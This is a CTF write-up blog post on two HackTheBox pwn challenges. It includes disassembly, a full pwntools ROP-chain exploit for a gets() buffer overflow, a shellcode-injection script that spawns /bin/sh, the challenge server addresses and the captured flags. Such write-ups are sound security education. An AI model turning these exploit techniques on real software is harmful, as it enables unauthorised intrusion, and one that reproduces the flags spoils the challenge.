Neurogrid CTF: Human-Only 2025 | Pwn
Neurogrid CTF: Human-Only 2025 was a 4-day CTF hosted by HackTheBox. I competed solo as “Legendary Queue” and finished in the top 4 out of 1337 players. This post covers the Pwn challenges.


WhisperVault [easy]
Description: Beneath the shrine’s floorboards lies a small wooden vault, sealed in dust and silence. When opened, it reveals only a single strip of rice paper and a faint scent of incense. It does not ask for gold, or oaths—only a name. Whisper one, and the vault will listen. But be warned: once a name is spoken here, it never truly leaves.
Points: 975 | Difficulty: Easy
Analysis
A 64-bit statically linked ELF binary that displays ASCII art of a vault and prompts for input. Running it shows:
The Whisper Vault
>
Looking at the disassembly of main at 0x401873:
0000000000401873 <main>:
401877: push %rbp
401878: mov %rsp,%rbp
40187b: sub $0x400,%rsp # 1024-byte buffer
...
4018a0: lea -0x400(%rbp),%rax # Buffer at rbp-0x400
4018a7: mov %rax,%rdi
4018af: call 4121e0 <_IO_gets> # gets() - no bounds check
...
4018e6: leave
4018e7: ret
The vulnerability is straightforward - gets() reads into a 1024-byte buffer with no size limit. The buffer is at rbp-0x400, so we need 1024 bytes to fill the buffer plus 8 bytes for the saved RBP, giving us an offset of 1032 bytes to overwrite the return address.
Since the binary is statically linked, we have plenty of ROP gadgets available. The goal is to call execve("/bin/sh", NULL, NULL) using syscall 59.
Exploitation
The ROP chain needs to:
- Write
/bin//shstring to the.datasection (at0x4c50e0) - Set up registers: rdi = pointer to string, rsi = NULL, rdx = NULL
- Set rax to 59 and execute syscall
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
offset = 1032
def get_rop_chain():
rop = b''
# Write "/bin//sh" to .data
rop += p64(0x0000000000409ffe) # pop rsi ; ret
rop += p64(0x00000000004c50e0) # @ .data
rop += p64(0x0000000000450107) # pop rax ; ret
rop += b'/bin//sh'
rop += p64(0x0000000000452875) # mov qword ptr [rsi], rax ; ret
# Write NULL terminator
rop += p64(0x0000000000409ffe) # pop rsi ; ret
rop += p64(0x00000000004c50e8) # @ .data + 8
rop += p64(0x000000000043ee79) # xor rax, rax ; ret
rop += p64(0x0000000000452875) # mov qword ptr [rsi], rax ; ret
# Set up execve arguments
rop += p64(0x0000000000401f8f) # pop rdi ; ret
rop += p64(0x00000000004c50e0) # @ .data ("/bin//sh")
rop += p64(0x0000000000409ffe) # pop rsi ; ret
rop += p64(0x00000000004c50e8) # @ .data + 8 (NULL)
rop += p64(0x0000000000485e6b) # pop rdx ; pop rbx ; ret
rop += p64(0x00000000004c50e8) # @ .data + 8 (NULL)
rop += p64(0x4141414141414141) # padding for rbx
# Set rax to 59 (execve syscall number)
rop += p64(0x000000000043ee79) # xor rax, rax ; ret
for _ in range(59):
rop += p64(0x0000000000478530) # add rax, 1 ; ret
rop += p64(0x0000000000401d44) # syscall
return rop
def exploit(target):
if target == 'local':
p = process('./whisper_vault')
else:
p = remote('94.237.59.242', 31649)
payload = b'A' * offset + get_rop_chain()
p.recvuntil(b'>')
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
import sys
target = sys.argv[1] if len(sys.argv) > 1 else 'local'
exploit(target)
The 59 add rax, 1 gadgets are verbose but reliable - finding a single mov rax, 59 or pop rax with controlled value would be cleaner but this works.
Flag
Flag:
HTB{0nly_s1l3nc3_kn0ws_th3_n4m3_48c74cd21cbbc22de18f431344d4a923}
RiceField [very easy]
Description: Takashi, the fearless blade of the East, weary from countless battles, now seeks not war—but warmth. His body aches, his spirit hungers. Upon the road, he discovers a sacred haven: the legendary Rice Field Restaurant, known across the land for its peerless grains. But here, the rice is not served—it is earned. Guide Takashi as he prepares his own perfect bowl, to restore his strength and walk the path once more.
Points: 975 | Difficulty: Very Easy
Analysis
A PIE-enabled 64-bit binary presenting a menu:
1. Collect Rice
2. Cook Rice
3. Quit
The collect_rice function increments a global counter, and cook_rice is where the interesting behavior happens. Looking at the disassembly:
cook_rice:
# Allocate heap buffer based on rice count
mov 0x25eb(%rip),%eax # load rice count
call calloc@plt
# Allocate EXECUTABLE memory via mmap
mov $0x7,%edx # PROT_READ|PROT_WRITE|PROT_EXEC
mov $0x22,%ecx # MAP_PRIVATE|MAP_ANONYMOUS
call mmap@plt
# Read user input into heap buffer
call read@plt
# Copy to executable region
call memcpy@plt
# Execute!
call *%rdx # indirect call to our shellcode
This is an intentional shellcode execution challenge. The program allocates RWX memory, reads user input, copies it there, and jumps to it. The only constraint is the rice counter which starts at 10 and maxes out at 26.
Exploitation
A 26-byte execve("/bin/sh") shellcode fits perfectly:
#!/usr/bin/env python3
from pwn import *
HOST = '83.136.253.132'
PORT = 46451
MENU_PROMPT = b'\xef\xbc\x9e ' # Full-width ">>"
PERCENT_PROMPT = b'\xef\xbc\x85 ' # Full-width "%"
DEFAULT_RICE = 10
context.arch = 'amd64'
shellcode = asm('''
xor esi, esi
xor edx, edx
push 0
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
push 0x3b
pop rax
syscall
''')
def exploit():
if args.LOCAL:
p = process('./rice_field')
else:
p = remote(HOST, PORT)
# Collect rice to reach shellcode size
rice_needed = len(shellcode) - DEFAULT_RICE
p.recvuntil(MENU_PROMPT)
p.sendline(b'1')
p.recvuntil(PERCENT_PROMPT)
p.sendline(str(rice_needed).encode())
# Cook rice - triggers shellcode execution
p.recvuntil(MENU_PROMPT)
p.sendline(b'2')
p.recvuntil(PERCENT_PROMPT)
p.send(shellcode)
p.interactive()
if __name__ == '__main__':
exploit()
The full-width Unicode prompts are a minor obstacle - the program uses Japanese-style formatting characters instead of standard ASCII.
Flag
Flag:
HTB{~Gohan_to_flag_o_tanoshinde_ne~_c850535e925b144c7f3ce313c52841dd}